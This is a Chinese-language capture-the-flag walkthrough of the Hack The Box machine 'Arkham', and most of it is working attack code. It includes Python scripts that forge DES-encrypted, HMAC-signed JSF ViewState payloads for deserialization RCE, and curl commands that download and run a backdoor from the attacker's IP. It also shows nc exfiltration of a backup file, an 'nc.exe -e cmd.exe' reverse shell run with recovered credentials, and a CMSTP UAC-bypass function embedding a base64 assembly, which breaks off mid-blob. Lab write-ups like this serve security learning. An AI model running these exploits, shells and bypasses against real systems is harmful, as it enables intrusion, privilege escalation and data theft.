URL : https://app.hackthebox.com/machines/179
先講結論,這是我最近打過 HTB 最硬的一題 …… ,這絕對不是 Medium 的機器,他難度絕對絕對有 Hard。我覺得這一題對於初學者,甚至是剛拿到 OSCP 的人應該都會覺得打得很痛苦 QWQ
這一題題目包含的知識點:
- LUKS 解密
- Tomcat Config 解析
- HMAC 簽章
- DES 加解密
- Java Viewstate 反序列化
- Bypass Windows Defender
- Microsoft Outlook email folder (ost) 解析
- Base64 圖片還原
- Invoke-command 切換使用者
- Bypass CLM
- CMSTP UAC Bypass
SMB
有開 SMB
所以先匿名登上去
~/HTB/Arkham/new ᐅ smbclient.py 10.129.106.199
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
Type help for list of commands
# login meow
Password:
[*] GUEST Session Granted
發現可以存取 BatShare
,裡面有一個 appserver.zip
,載下來分析
# shares
ADMIN$
BatShare
C$
IPC$
Users
# use BatShare
# ls
drw-rw-rw- 0 Sun Feb 3 21:04:13 2019 .
drw-rw-rw- 0 Sun Feb 3 21:04:13 2019 ..
-rw-rw-rw- 4046695 Sun Feb 3 21:04:13 2019 appserver.zip
# get appserver.zip
解壓縮
~/HTB/Arkham/new ᐅ unzip appserver.zip
Archive: appserver.zip
inflating: IMPORTANT.txt
inflating: backup.img
LUKS Decrypt
發現 backup.img
裡面是一個 luks 的加密檔案
~/HTB/Arkham/new ᐅ file backup.img
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
luks 可以透過暴力破解的方式來解
https://github.com/glv2/bruteforce-luks
這邊有點小通靈,看其他的 Writeup 得知密碼跟 batman 有關
所以我們可以自製 Wordlist
grep batman ~/WordLists/rockyou.txt | tee wordlist.txt
bruteforce-luks -t 10 -f wordlist.txt -v 5 backup.img
# .....
Password found: batmanforever
Tried passwords: 61
Tried passwords per second: 0.305000
Last tried password: batman82
就順利知道了它的密碼
接下來就是 mount 了
sudo cryptsetup open --type luks backup.img arkham
sudo mount /dev/mapper/arkham mount_point
把檔案抓出來後,先 unmount
cd mount_point/
cp -r Mask ..
sudo umount mount_point
sudo cryptsetup close arkham
在 Mask/tomcat-stuff
找到了 web.xml.bak
可以看到一點點的重點
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-value>HmacSHA1</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
我們知道了程式背後使用了 HMAC SHA1
而它們的 Key 如果用 base64 解開都是 JsF9876-
Web
接下來看一下 Web
Site Map 可以看到一個奇怪的 userSubscribe.faces
進入後可以進行 Subscribe
可以觀察到 javax.faces.ViewState
也許是有趣的東西
我們可以試著 Decode 看看
import base64
from urllib.parse import quote, unquote
src = "wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D"
src_decode = unquote(src)
src_decode = base64.b64decode(src_decode.encode())
print(src_decode)
# b'\xc0z4\xc2b\xee\xe5\xc7\x88\xb4\x88\xbe#\xb5\xe4\x12-F\x01\xbe!\xd7e\x99\xf3\xde)\x03\xe6x8~\xdbr\x8d\xa3\\L\xb5E\x0cS\xa8\xb6.\xa2I\x8e\xefB\xad\x0e\xd9\xe0\x8c9\xb4\x98\xdc\xc0\xf6\xa1\xe3a\xea\xf1\xa3H\xd6\xef;\xb5\x99\xd2\x81^\xdcgOTf\x9de\x16L\x9c\x82\xb8\xd7\t\xbb\x11'
但發現看不懂 QQ
Decrypt & Encrypt
但我們可以從先前的 config 猜測,他應該是一個加密搭配 Hmac sha1 的結果
所以我們可以試著驗證看看,Decode 出來的結果總共有 92 個 Bytes,假設 MAC 是 SHA1 的話,那會有 20 個 Bytes,因此可以把這段切兩半
message = src_decode[:-20]
mac = src_decode[-20:]
理論上我們有 key,也有演算法,我們可以單純靠 message 來生成他的 mac,如果前提假設正確的話 …..
import base64
from urllib.parse import quote, unquote
import hmac
import hashlib
src = "wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D"
src_decode = unquote(src)
src_decode = base64.b64decode(src_decode.encode())
message = src_decode[:-20]
mac = src_decode[-20:]
key = b"JsF9876-"
res = hmac.new(key=key,msg=message,digestmod=hashlib.sha1)
print(mac) # b'\x99\xd2\x81^\xdcgOTf\x9de\x16L\x9c\x82\xb8\xd7\t\xbb\x11'
print(res.digest()) # b'\x99\xd2\x81^\xdcgOTf\x9de\x16L\x9c\x82\xb8\xd7\t\xbb\x11'
很順利的,我們猜到了!!
接下來要來通靈前半段,我們知道 key,知道 payload,但不知道加密演算法
我們知道 key 是 JsF9876-
, 長度是 8 bytes
常見的 AES 加密可以用 key 長度來分
- 16 bytes = AES-128
- 24 bytes = AES-192
- 32 bytes = AES-256
看起來都不符合,而 DES 的 Key Size 是 56 bits = 7 Bytes
但是,根據維基百科的英文版有說到
According to ANSI INCITS 92-1981
One bit in each 8-bit byte of the KEY may be utilized for error detection in key generation, distribution, and storage. Bits 8, 16,..., 64 are for use in ensuring that each byte is of odd parity
也就是說,DES 目前會吃 8 Bytes,而每一個 Bytes 的最後一個 Bit (8th, 16th, 32th …(從1開始數的))作為 parity 使用。
不過根據 PyCryptodome 的 Document 來講,8 bits were used for integrity (now they are ignored)
,也就是說現在他不會去 check parity 了。
不管了,講了這麼多,我們可以試著用 DES 來解看看
但 DES 又有 ECB, CBC, CFB, OFB, CTR, OPENPGP, EAX 這麼多種方法
最簡單的方法就是一個一個測一次,還好這次運氣不錯,第一個 mode ECB 就成功了
from Crypto.Cipher import DES
# key = b"JsF9876-"
message = b'\xc0z4\xc2b\xee\xe5\xc7\x88\xb4\x88\xbe#\xb5\xe4\x12-F\x01\xbe!\xd7e\x99\xf3\xde)\x03\xe6x8~\xdbr\x8d\xa3\\L\xb5E\x0cS\xa8\xb6.\xa2I\x8e\xefB\xad\x0e\xd9\xe0\x8c9\xb4\x98\xdc\xc0\xf6\xa1\xe3a\xea\xf1\xa3H\xd6\xef;\xb5'
key = b"JsF9876-"
d = DES.new(key=key,mode=DES.MODE_ECB)
r = d.decrypt(message)
print(r)
b'\xac\xed\x00\x05ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\x03t\x00\x011pt\x00\x12/userSubscribe.jsp\x02\x02'
回到前面說的,不 check parity bit, 我們可以做一個實驗,我們在不改動前 7 bit 的前提下,JsF9876-
可以變為 KrG8967,
,而且解密答案是一樣的
In [5]: [bin(ord(i)) + f": {i}" for i in "JsF9876-"]
Out[5]:
['0b1001010: J',
'0b1110011: s',
'0b1000110: F',
'0b111001: 9',
'0b111000: 8',
'0b110111: 7',
'0b110110: 6',
'0b101101: -']
In [7]: [bin(ord(i)) + f": {i}" for i in "KrG8967,"]
Out[7]:
['0b1001011: K',
'0b1110010: r',
'0b1000111: G',
'0b111000: 8',
'0b111001: 9',
'0b110110: 6',
'0b110111: 7',
'0b101100: ,']
from Crypto.Cipher import DES
message = b'\xc0z4\xc2b\xee\xe5\xc7\x88\xb4\x88\xbe#\xb5\xe4\x12-F\x01\xbe!\xd7e\x99\xf3\xde)\x03\xe6x8~\xdbr\x8d\xa3\\L\xb5E\x0cS\xa8\xb6.\xa2I\x8e\xefB\xad\x0e\xd9\xe0\x8c9\xb4\x98\xdc\xc0\xf6\xa1\xe3a\xea\xf1\xa3H\xd6\xef;\xb5'
# key = b"JsF9876-"
key = b"KrG8967,"
d = DES.new(key=key,mode=DES.MODE_ECB)
r = d.decrypt(message)
print(r)
# b'\xac\xed\x00\x05ur\x00\x13[Ljava.lang.Object;\x90\xceX\x9f\x10s)l\x02\x00\x00xp\x00\x00\x00\x03t\x00\x011pt\x00\x12/userSubscribe.jsp\x02\x02'
好,離題了,我們從解開的 byte 看到了 \xac\xed\x00\x05
開頭,可以確認他就是一個 Java 的反序列化結果
再來我們可以先做一件很無聊的事情,把解密的東西重新加密回去,簽一個 hmac,照理來說應該會跟最原始的 payload 一樣才對。
from Crypto.Cipher import DES
import hmac
import hashlib
import base64
from urllib.parse import unquote
src = "wHo0wmLu5ceItIi%2BI7XkEi1GAb4h12WZ894pA%2BZ4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE%3D"
src_decode = unquote(src)
src_decode = base64.b64decode(src_decode.encode())
message = src_decode[:-20]
mac = src_decode[-20:]
key = b"JsF9876-"
d = DES.new(key=key,mode=DES.MODE_ECB)
r = d.decrypt(message)
# r 是解密後的結果
d = DES.new(key=key,mode=DES.MODE_ECB)
r1 = d.encrypt(r)
# r1 是加密後的結果
res = hmac.new(key=key,msg=r1,digestmod=hashlib.sha1)
# 幫 r1 簽章
payload = r1 + res.digest()
print(src_decode == payload)
答案是 True!!
所以我們可以自己定義一個 function,只要送入 payload 就可以幫我們加密 & 簽 hmac
def encrypt_and_hmac(data): # data is bytes
key = b"JsF9876-"
d = DES.new(key=key,mode=DES.MODE_ECB)
r1 = d.encrypt(data)
res = hmac.new(key=key,msg=r1,digestmod=hashlib.sha1)
return r1 + res.digest()
接下來我們就要開始產 payload 了!
因為在 m1 mac 上面的 java 版本問題,會導致 ysoserial 怪怪的,所以我使用 Docker 來解這個問題。
FROM openjdk:11.0.16
COPY ysoserial-all.jar /root/ysoserial-all.jar
ENTRYPOINT ["java", "-jar", "/root/ysoserial-all.jar"]
# docker build . -t ysoserial:meow
在執行這個 Docker 時,有個需要注意的點是,run 的過程千萬不要順手帶上 -it
,不然 serial 的結果的 \x0a
會變成 \x0d\x0a
輸入 docker run --rm ysoserial:meow list
可以看到常見的 ysoserial Payload,最常見也最通用的是 CommonsCollections1
到 CommonsCollections7
不過我們不知道哪一個可以用 QQ,不同情境適用不同的內容,而產 payload 的方法大致是
docker run --rm ysoserial:meow CommonsCollections1 'ping 10.10.16.35'
可以寫個小腳本把所有序列化結果都存出來
def generate_payload():
for i in range(1,7+1):
print(f"Generating CommonsCollections{i}")
os.popen(f"docker run --rm ysoserial:meow CommonsCollections{i} 'ping 10.10.16.35' > payloads/{i}.ser")
再來需要把 payload 給加密,上 hmac 並轉 base64 後透過 Requests 送出 ,程式跑下去會噴一個錯誤 QQ
ValueError: Data must be aligned to block boundary in ECB mode
也就是說,根據 ECB,我們需要把 Payload 進行 padding
from Crypto.Util.Padding import pad
# import ... 略
def encrypt_and_hmac(data): # data is bytes
key = b"JsF9876-"
d = DES.new(key=key,mode=DES.MODE_ECB)
r1 = d.encrypt(pad(data,8))
res = hmac.new(key=key,msg=r1,digestmod=hashlib.sha1)
return r1 + res.digest()
Padding Size 預設 DES 每個 Block 就是 64 Bit,所以選擇 8
Web Exploit
再來我們就可以寫一個迴圈來爆看看我們能用的 Payload 是哪些,首先先開 tcpdump 收 icmp
sudo tcpdump -i utun7 icmp
from Crypto.Cipher import DES
import hmac
import hashlib
import base64
from urllib.parse import unquote
import os
import requests
from Crypto.Util.Padding import pad
def encrypt_and_hmac(data): # data is bytes
key = b"JsF9876-"
d = DES.new(key=key,mode=DES.MODE_ECB)
r1 = d.encrypt(pad(data,8))
res = hmac.new(key=key,msg=r1,digestmod=hashlib.sha1)
return r1 + res.digest()
def generate_payload():
for i in range(1,7+1):
print(f"Generating CommonsCollections{i}")
os.popen(f"docker run --rm ysoserial:meow CommonsCollections{i} 'ping 10.10.16.35' > payloads/{i}.ser")
# generate_payload()
def send_payload(i):
payload = open(f"payloads/{i}.ser","rb").read()
encrypted_payload = encrypt_and_hmac(payload)
base64_payload = base64.b64encode(encrypted_payload).decode()
burp0_url = "http://10.129.106.199:8080/userSubscribe.faces"
burp0_cookies = {"JSESSIONID": "DFE45108C21A6F29EEED16F9DE849820"}
burp0_data = {"j_id_jsp_1623871077_1:email": "meowmeow",
"j_id_jsp_1623871077_1:submit": "SIGN UP",
"j_id_jsp_1623871077_1_SUBMIT": "1",
"javax.faces.ViewState": base64_payload}
requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
for i in range(1,7+1):
send_payload(i)
跑下去可以確定我們有收到 Payload
17:28:23 steven@StevendeMacBook-Pro.local new sudo tcpdump -i utun7 icmp 130 ↵
Password:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on utun7, link-type NULL (BSD loopback), capture size 262144 bytes
17:28:50.041617 IP 10.129.106.199 > 10.10.16.35: ICMP echo request, id 1, seq 21, length 40
17:28:50.041681 IP 10.10.16.35 > 10.129.106.199: ICMP echo reply, id 1, seq 21, length 40
17:28:50.324666 IP 10.129.106.199 > 10.10.16.35: ICMP echo request, id 1, seq 22, length 40
17:28:50.324747 IP 10.10.16.35 > 10.129.106.199: ICMP echo reply, id 1, seq 22, length 40
17:28:50.697327 IP 10.129.106.199 > 10.10.16.35: ICMP echo request, id 1, seq 23, length 40
17:28:50.697401 IP 10.10.16.35 > 10.129.106.199: ICMP echo reply, id 1, seq 23, length 40
17:28:51.055909 IP 10.129.106.199 > 10.10.16.35: ICMP echo request, id 1, seq 24, length 40
17:28:51.055991 IP 10.10.16.35 > 10.129.106.199: ICMP echo reply, id 1, seq 24, length 40
那接下來其實也很簡單,我們可以用類似玩終極密碼的方法來找我們能用的 Payload 是哪個
for i in range(1,3+1):
send_payload(i)
# 失敗
for i in range(4,7+1):
send_payload(i)
# 成功
send_payload(5)
# 成功
確定 CommonsCollections5
可用後,我們可以把 Exploit 寫的更 Friendly 一點
from Crypto.Cipher import DES
import hmac
import hashlib
import base64
from urllib.parse import unquote
import os
import requests
from Crypto.Util.Padding import pad
def encrypt_and_hmac(data): # data is bytes
key = b"JsF9876-"
d = DES.new(key=key,mode=DES.MODE_ECB)
r1 = d.encrypt(pad(data,8))
res = hmac.new(key=key,msg=r1,digestmod=hashlib.sha1)
return r1 + res.digest()
def generate_payload(payload):
serialize = os.popen(f"docker run --rm ysoserial:meow CommonsCollections5 '{payload}' | base64").read()
serialize_b64 = base64.b64decode(serialize.encode())
return serialize_b64
def send_payload(payload):
encrypted_payload = encrypt_and_hmac(payload)
base64_payload = base64.b64encode(encrypted_payload).decode()
burp0_url = "http://10.129.106.199:8080/userSubscribe.faces"
burp0_cookies = {"JSESSIONID": "DFE45108C21A6F29EEED16F9DE849820"}
burp0_data = {"j_id_jsp_1623871077_1:email": "meowmeow",
"j_id_jsp_1623871077_1:submit": "SIGN UP",
"j_id_jsp_1623871077_1_SUBMIT": "1",
"javax.faces.ViewState": base64_payload}
requests.post(burp0_url, cookies=burp0_cookies, data=burp0_data)
payload = generate_payload("ping 10.10.16.35")
send_payload(payload)
以為接著這樣就順利 RCE 了嗎?不,接下來我又踩了一堆雷 QQ
首先我跑了
certutil -urlcache -f http://10.10.16.35
發現收不到 Request,有可能是有開 Defender,或是透過某些奇怪的方法 Disable 了 certutil
SMB 也都不行 QQQ
最後發現電腦裡面有裝 curl
cmd /c curl 10.10.16.35
但是 msfvenom 的 payload 也都會被吃掉 QQ
因此我使用了 cyku 大大的 tsh
cmd /c curl 10.10.16.35/tshd_windows_amd64.exe -o C:/Users/Public/tshd.exe"
cmd /c C:/Users/Public/tshd.exe -c 10.10.16.35 -p 9988
然後就收回 shell 了!!
StevendeMacBook-Pro:new $ tsh -p 9988 cb
Waiting for the server to connect...connected.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\tomcat\apache-tomcat-8.5.37\bin>
C:\>whoami
arkham\alfred
Alfred 的桌面就能拿到 user.txt
提權
在 C:\Users\Alfred\Downloads\backups
底下可以看到一個 backup.zip
我們可以開一個 SMB Server 來收檔案
… 嗎?
C:\Users\Alfred\Downloads\backups>copy backup.zip \\10.10.16.35\meow
You can't access this shared folder because your organization's security policies block unauthenticated guest access. These policies help protect your
PC from unsafe or malicious devices on the network.
0 file(s) copied.
不行 QQ
那我們可以丟一隻 nc 進去幫我們
curl 10.10.16.35/nc.exe -o nc.exe
# attacker
ncat -nlvp 7766 > backup.zip
# victim
nc.exe 10.10.16.35 7766 < backup.zip
mkdir backup
unzip backup.zip -d backup
發現裡面有一個 ost 檔案
┌[steven☮StevendeMacBook-Pro.local]-(~/HTB/Arkham/new/backup)
└> file alfred@arkham.local.ost
alfred@arkham.local.ost: Microsoft Outlook email folder
OST 是 Outlook 檔案,可以使用 Linux 的 readpst
工具來解碼
steven@lima-ubuntu-amd64:/Users/steven/HTB/Arkham/new/backup$ readpst alfred@arkham.local.ost
Opening PST file and indexes...
Processing Folder "Deleted Items"
Processing Folder "Inbox"
Processing Folder "Outbox"
Processing Folder "Sent Items"
Processing Folder "Calendar"
Processing Folder "Contacts"
Processing Folder "Conversation Action Settings"
Processing Folder "Drafts"
Processing Folder "Journal"
Processing Folder "Junk E-Mail"
Processing Folder "Notes"
Processing Folder "Tasks"
Processing Folder "Sync Issues"
Processing Folder "RSS Feeds"
Processing Folder "Quick Step Settings"
"alfred@arkham.local.ost" - 15 items done, 0 items skipped.
"Inbox" - 0 items done, 7 items skipped.
"Calendar" - 0 items done, 3 items skipped.
Processing Folder "Conflicts"
Processing Folder "Local Failures"
Processing Folder "Server Failures"
"Sync Issues" - 3 items done, 0 items skipped.
"Drafts" - 1 items done, 0 items skipped.
解開後會看到一個 Drafts.mbox
檔案, 用 VSCode 打開可以看到類似 Email 跟 HTML 混雜的東西
第 554 行可以看到 base64 的 png 圖片
我們可以寫一個 py 還原 Base64
import base64
data = b"""iVBORw0KGgoAAAANSUhEUgAAAqUAAAFXCAIAAAAUCKDqAAAAAXNSR0IArs4c6QAAJwVJREFUeF7t
3V+oZdd5GPCjUmibujISRUNh5GhiCya2hI0lVXSoEwXXCRMoqpUXyzR6MFaUIlwh2S9+kB+sB7/Y
ElNjWskmDzJ0/FKpItCBGDGSBROGKMYgoaqM3XEsQZBpLazUTelLu8/Z9+677/679jn7O3edO7/L
#... 略
"""
d = base64.b64decode(data)
with open("decoded.png",'wb') as f:
f.write(d)
接下來就能看到這張圖了
到目前為止,我們取得了 batman 的帳密
batman
/ Zx^#QZX+T!123
切換使用者
從 net user 可以發現他是 Local Admin 理論上我們只要切換過去應該就是 Admin 了!!!
接下來經過了種種嘗試,發現 batman 摸不到 Public,但他有開 SMB,所以我們可以用 smb 上去!!
# login batman
Password:
[*] USER Session Granted
# shares
ADMIN$
BatShare
C$
IPC$
Users
# use Users
# ls
drw-rw-rw- 0 Sun Feb 3 21:24:10 2019 .
drw-rw-rw- 0 Sun Feb 3 21:24:10 2019 ..
drw-rw-rw- 0 Sat Oct 15 15:13:25 2022 Batman
drw-rw-rw- 0 Fri Feb 1 10:49:06 2019 Default
-rw-rw-rw- 174 Sat Feb 2 00:10:07 2019 desktop.ini
# cd Batman
# put nc.exe
但用 cpau 還是跑不起來,所以改用 powershell 的方法
powershell
$username = 'batman'
$password = 'Zx^#QZX+T!123'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Invoke-command -computername ARKHAM -credential $credential -scriptblock {cmd.exe /c C:\Users\Batman\nc.exe -e cmd.exe 10.10.16.3
5 9977 }
收到 Reverse shell 後再轉 tsh (一樣用 smb 丟上 batman 家目錄)
tshd_windows_amd64.exe -c 10.10.16.35 -p 9966
就可以拿到 batman 的 shell 了!
C:\Users\Batman>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
但發現有 UAC QQQ
不過其實可以用 SMB 直接取 Flag,但這樣好弱ㄛ,我還是認真打吧
C:\Users\Batman>type \\localhost\c$\users\administrator\desktop\root.txt
636783f913109f2809701e8545ef4fdb
UAC Bypass
這邊我預計會使用 CMSTP 的 UAC Bypass 方法
我參考了 https://0x00-0x00.github.io/research/2018/10/31/How-to-bypass-UAC-in-newer-Windows-versions.html
直接採用 Weaponizing with PowerShell 的解法
function Bypass-UAC
{
Param(
[Parameter(Mandatory = $true, Position = 0)]
[string]$Command
)
if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
{
[Reflection.Assembly]::Load([Convert]::FromBase64String("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QnlwYXNzLmRsbABDTVNUUEJ5cGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AEluZkRhdGEAU2hvd1dpbmRvdwBTZXRGb3JlZ3JvdW5kV2luZG93AEJpbmFyeVBhdGgAU2V0SW5mRmlsZQBFeGVjdXRlAFNldFdpbmRvd0FjdGl2ZQAuY3RvcgBoV25kAG5DbWRTaG93AENvbW1hbmRUb0V4ZWN1dGUAUHJvY2Vzc05hbWUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAENNU1RQLVVBQy1CeXBhc3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEltcG9ydEF0dHJpYnV0ZQB1c2VyMzIuZGxsAFN5c3RlbS5JTwBQYXRoAEdldFJhbmRvbUZpbGVOYW1lAENoYXIAQ29udmVydABUb0NoYXIAU3RyaW5nAFNwbGl0AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAQXBwZW5kAFJlcGxhY2UAVG9TdHJpbmcARmlsZQBXcml0ZUFsbFRleHQARXhpc3RzAENvbnNvbGUAV3JpdGVMaW5lAENvbmNhdABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2Vzc1N0YXJ0SW5mbwBzZXRfQXJndW1lbnRzAHNldF9Vc2VTaGVsbEV4ZWN1dGUAUHJvY2VzcwBTdGFydABJbnRQdHIAWmVybwBvcF9FcXVhbGl0eQBTeXN0ZW0uV2luZG93cy5Gb3JtcwBTZW5kS2V5cwBTZW5kV2FpdABHZXRQcm9jZXNzZXNCeU5hbWUAUmVmcmVzaABnZXRfTWFpbldpbmRvd0hhbmRsZQAuY2N0b3IAAAMuAAAfQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAAANcAAAJLgBpAG4AZgAAKVIARQBQAEwAQQBDAEUAXwBDAE8ATQBNAEEATgBEAF8ATABJAE4ARQAAQUMAbwB1AGwAZAAgAG4AbwB0ACAAZgBpAG4AZAAgAGMAbQBzAHQAcAAuAGUAeABlACAAYgBpAG4AYQByAHkAIQAAMVAAYQB5AGwAbwBhAGQAIABmAGkAbABlACAAdwByAGkAdAB0AGUAbgAgAHQAbwAgAAAJLwBhAHUAIAAAC2MAbQBzAHQAcAAAD3sARQBOAFQARQBSAH0AAISPWwB2AGUAcgBzAGkAbwBuAF0ADQAKAFMAaQBnAG4AYQB0AHUAcgBlAD0AJABjAGgAaQBjAGEAZwBvACQADQAKAEEAZAB2AGEAbgBjAGUAZABJAE4ARgA9ADIALgA1AA0ACgANAAoAWwBEAGUAZgBhAHUAbAB0AEkAbgBzAHQAYQBsAGwAXQANAAoAQwB1AHMAdABvAG0ARABlAHMAdABpAG4AYQB0AGkAbwBuAD0AQwB1AHMAdABJAG4AcwB0AEQAZQBzAHQAUwBlAGMAdABpAG8AbgBBAGwAbABVAHMAZQByAHMADQAKAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAPQBSAHUAbgBQAHIAZQBTAGUAdAB1AHAAQwBvAG0AbQBhAG4AZABzAFMAZQBjAHQAaQBvAG4ADQAKAA0ACgBbAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAUwBlAGMAdABpAG8AbgBdAA0ACgA7ACAAQwBvAG0AbQBhAG4AZABzACAASABlAHIAZQAgAHcAaQBsAGwAIABiAGUAIAByAHUAbgAgAEIAZQBmAG8AcgBlACAAUwBlAHQAdQBwACAAQgBlAGcAaQBuAHMAIAB0AG8AIABpAG4AcwB0AGEAbABsAA0ACgBSAEUAUABMAEEAQwBFAF8AQwBPAE0ATQBBAE4ARABfAEwASQBOAEUADQAKAHQAYQBzAGsAawBpAGwAbAAgAC8ASQBNACAAYwBtAHMAdABwAC4AZQB4AGUAIAAvAEYADQAKAA0ACgBbAEMAdQBzAHQASQBuAHMAdABEAGUAcwB0AFMAZQBjAHQAaQBvAG4AQQBsAGwAVQBzAGUAcgBzAF0ADQAKADQAOQAwADAAMAAsADQAOQAwADAAMQA9AEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4ALAAgADcADQAKAA0ACgBbAEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4AXQANAAoAIgBIAEsATABNACIALAAgACIAUwBPAEYAVABXAE